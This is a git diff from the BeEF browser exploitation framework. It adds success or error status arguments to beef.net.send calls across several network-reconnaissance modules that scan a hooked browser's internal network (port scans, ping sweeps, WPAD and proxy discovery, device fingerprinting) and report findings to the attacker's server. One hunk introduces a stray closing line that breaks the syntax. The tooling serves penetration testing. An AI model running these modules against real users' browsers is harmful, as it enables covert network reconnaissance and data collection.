diff --git a/modules/network/cross_origin_scanner_cors/command.js b/modules/network/cross_origin_scanner_cors/command.js index b1c9077d5..78649d16e 100644 --- a/modules/network/cross_origin_scanner_cors/command.js +++ b/modules/network/cross_origin_scanner_cors/command.js @@ -111,7 +111,7 @@ beef.execute(function() { 'if (response != null && response["status"] != 0) {' + 'beef.debug("[Cross-Origin Scanner (CORS)] Received response from '+url+': " + JSON.stringify(response));' + 'var title = response["body"].match("(.*?)<\\/title>"); if (title != null) title = title[1];' + - 'beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto='+proto+'&ip='+ips[i]+'&port='+ports[p]+'&status="+response["status"]+"&title="+title+"&response="+JSON.stringify(response));' + + 'beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto='+proto+'&ip='+ips[i]+'&port='+ports[p]+'&status="+response["status"]+"&title="+title+"&response="+JSON.stringify(response), beef.are.status_success());' + '}' + '});' ); diff --git a/modules/network/cross_origin_scanner_flash/command.js b/modules/network/cross_origin_scanner_flash/command.js index 030b5bee9..fab47f15d 100644 --- a/modules/network/cross_origin_scanner_flash/command.js +++ b/modules/network/cross_origin_scanner_flash/command.js @@ -123,7 +123,7 @@ beef.execute(function() { 'beef.debug("[Cross-Origin Scanner (Flash)] Received data ["+host+":"+port+"]: " + data);' + 'if (data.match("securityErrorHandler")) {' + - ' beef.net.send("<%= @command_url %>", <%= @command_id %>, "ip="+host+"&status=alive");' + + ' beef.net.send("<%= @command_url %>", <%= @command_id %>, "ip="+host+"&status=alive", beef.are.status_success());' + '}' + 'if (!data.match("Hijacked Contents:")) return;' + @@ -135,7 +135,7 @@ beef.execute(function() { '}' + 'beef.debug("proto="+proto+"&ip="+host+"&port="+port+"&title="+title+"&response="+response);' + - 'beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto="+proto+"&ip="+host+"&port="+port+"&title="+title+"&response="+response);' + + 'beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto="+proto+"&ip="+host+"&port="+port+"&title="+title+"&response="+response, beef.are.status_success());' + ' }', url); } catch(e) { beef.debug("[Cross-Origin Scanner (Flash)] Could not create object: " + e.message); diff --git a/modules/network/detect_burp/command.js b/modules/network/detect_burp/command.js index da595ea58..ebc304b59 100644 --- a/modules/network/detect_burp/command.js +++ b/modules/network/detect_burp/command.js @@ -18,11 +18,10 @@ beef.execute(function() { var response = FindProxyForURL('', ''); beef.debug("Response: " + response); beef.net.send("<%= @command_url %>", <%= @command_id %>, - "has_burp=true&response=" + response - ); + "has_burp=true&response=" + response, beef.are.status_success()); } catch(e) { beef.debug("Response: " + e.message); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_burp=false"); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_burp=false", beef.are.status_error()); } } diff --git a/modules/network/get_http_servers/command.js b/modules/network/get_http_servers/command.js index 6215a05d4..b4a26d5a0 100644 --- a/modules/network/get_http_servers/command.js +++ b/modules/network/get_http_servers/command.js @@ -110,7 +110,7 @@ beef.execute(function() { img.src = proto+"://"+ip+":"+port+uri; img.onerror = function() { dom.removeChild(this); } img.onload = function() { - beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto='+proto+'&ip='+ip+'&port='+port+"&url="+escape(this.src));dom.removeChild(this); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto='+proto+'&ip='+ip+'&port='+port+"&url="+escape(this.src), beef.are.status_success());dom.removeChild(this); beef.debug("[Favicon Scanner] Found HTTP Server [" + escape(this.src) + "]"); } dom.appendChild(img); diff --git a/modules/network/get_proxy_servers_wpad/command.js b/modules/network/get_proxy_servers_wpad/command.js index 4dabacf6f..b7358aebb 100644 --- a/modules/network/get_proxy_servers_wpad/command.js +++ b/modules/network/get_proxy_servers_wpad/command.js @@ -18,7 +18,7 @@ beef.execute(function() { if (typeof FindProxyForURL === 'function') { var wpad = FindProxyForURL.toString(); beef.debug("[Get Proxy Servers] Success: Found wpad (" + wpad.length + ' bytes)'); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_wpad=true&wpad="+wpad); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_wpad=true&wpad="+wpad, beef.are.status_success()); } else { beef.debug("[Get Proxy Servers] Error: Did not find wpad"); beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_wpad=false"); @@ -38,7 +38,7 @@ beef.execute(function() { return; } beef.debug("[Get Proxy Servers] Found "+proxies.length+" proxies: " + proxies.join(',')); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "proxies=" + proxies.join(',')); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "proxies=" + proxies.join(','), beef.are.status_success()); } load_script("http://wpad/wpad.dat"); diff --git a/modules/network/identify_lan_subnets/command.js b/modules/network/identify_lan_subnets/command.js index e9dfe0947..5d389f171 100644 --- a/modules/network/identify_lan_subnets/command.js +++ b/modules/network/identify_lan_subnets/command.js @@ -102,13 +102,14 @@ var doScan = function(timeout) { beef.debug("Returned large hit rate (" + discovered_hosts.length + " of " + count + ") indicating low network latency. Retrying scan with decreased timeout (" + (timeout - 500) + "ms)"); doScan(timeout-500); } else { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unexpected results&hosts="+hosts); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unexpected results&hosts="+hosts, beef.are.status_error()); } } else if (discovered_hosts.length == 0) { beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=no results", beef.are.status_error()); } else { beef.debug("[command #<%= @command_id %>] Identifying LAN hosts completed."); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'hosts='+hosts); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'hosts='+hosts, beef.are.status_success()); +); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=scan complete"); } } diff --git a/modules/network/internal_network_fingerprinting/command.js b/modules/network/internal_network_fingerprinting/command.js index bdf94c9e2..1205d572a 100644 --- a/modules/network/internal_network_fingerprinting/command.js +++ b/modules/network/internal_network_fingerprinting/command.js @@ -292,7 +292,7 @@ beef.execute(function() { img.onerror = function() { dom.removeChild(this); } img.onload = function() { if (this.width == urls[this.id][5] && this.height == urls[this.id][6]) { - beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto='+proto+'&ip='+ip+'&port='+port+'&discovered='+signature_name+"&url="+escape(this.src));dom.removeChild(this); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto='+proto+'&ip='+ip+'&port='+port+'&discovered='+signature_name+"&url="+escape(this.src), beef.are.status_success());dom.removeChild(this); beef.debug("[Network Fingerprint] Found [" + signature_name + "] with URL [" + escape(this.src) + "]"); } } diff --git a/modules/network/jslanscanner/command.js b/modules/network/jslanscanner/command.js index 31fdebf37..f3219520c 100644 --- a/modules/network/jslanscanner/command.js +++ b/modules/network/jslanscanner/command.js @@ -354,12 +354,12 @@ beef.execute(function() { lanScanner.addHost = function(obj) { this.timeout = 0; beef.debug("[JS LAN Scanner] Found "+this.getPortName(obj.port)+" [proto: http, ip: "+obj.host+", port: "+obj.port+"]"); - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'proto=http&ip='+obj.host+'&port='+obj.port+'&service='+this.getPortName(obj.port)); + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'proto=http&ip='+obj.host+'&port='+obj.port+'&service='+this.getPortName(obj.port), beef.are.status_success()); lanScanner.fingerPrint(obj.host); } lanScanner.addDevice = function(obj) { beef.debug("[JS LAN Scanner] Found " + obj.make + ' ' + obj.model + ' [ip: ' + obj.host + ']'); - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'ip='+obj.host+'&device='+obj.make+' '+obj.model); + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'ip='+obj.host+'&device='+obj.make+' '+obj.model, beef.are.status_success()); } lanScanner.destroyConnections = function() { var guessesLen = guesses.length; diff --git a/modules/network/ping_sweep/command.js b/modules/network/ping_sweep/command.js index f04c859d9..a4a45fbb3 100644 --- a/modules/network/ping_sweep/command.js +++ b/modules/network/ping_sweep/command.js @@ -57,7 +57,7 @@ beef.execute(function() { if(ips.length>1) { var int_id = setInterval( function() { var host = do_scan(ips[i++],timeout); - if(host!="") beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host='+host); + if(host!="") beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host='+host, beef.are.status_success()); if(i==ips.length) { clearInterval(int_id); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host=Ping sweep finished'); } }, delay); } else { diff --git a/modules/network/ping_sweep_java/command.js b/modules/network/ping_sweep_java/command.js index 3d2699a6b..8dff56590 100644 --- a/modules/network/ping_sweep_java/command.js +++ b/modules/network/ping_sweep_java/command.js @@ -28,11 +28,11 @@ beef.execute(function() { output = document.pingSweep.getAliveHosts(); clearTimeout(int_timeout); clearTimeout(ext_timeout); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=Alive hosts:<br>'+output.replace(/\n/g,"<br>")); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=Alive hosts:<br>'+output.replace(/\n/g,"<br>"), beef.are.status_success()); beef.dom.detachApplet('pingSweep'); return; }else{ - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=No hosts to check'); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=No hosts to check', beef.are.status_error()); return; } } catch (e) { diff --git a/modules/network/port_scanner/command.js b/modules/network/port_scanner/command.js index 0a156a5b7..d195d8022 100644 --- a/modules/network/port_scanner/command.js +++ b/modules/network/port_scanner/command.js @@ -166,7 +166,7 @@ beef.execute(function() { { known_service = "(" + default_services[port_] + ")"; } - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=CORS: Port ' + port_ + ' is OPEN ' + known_service); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=CORS: Port ' + port_ + ' is OPEN ' + known_service, beef.are.status_success()); } }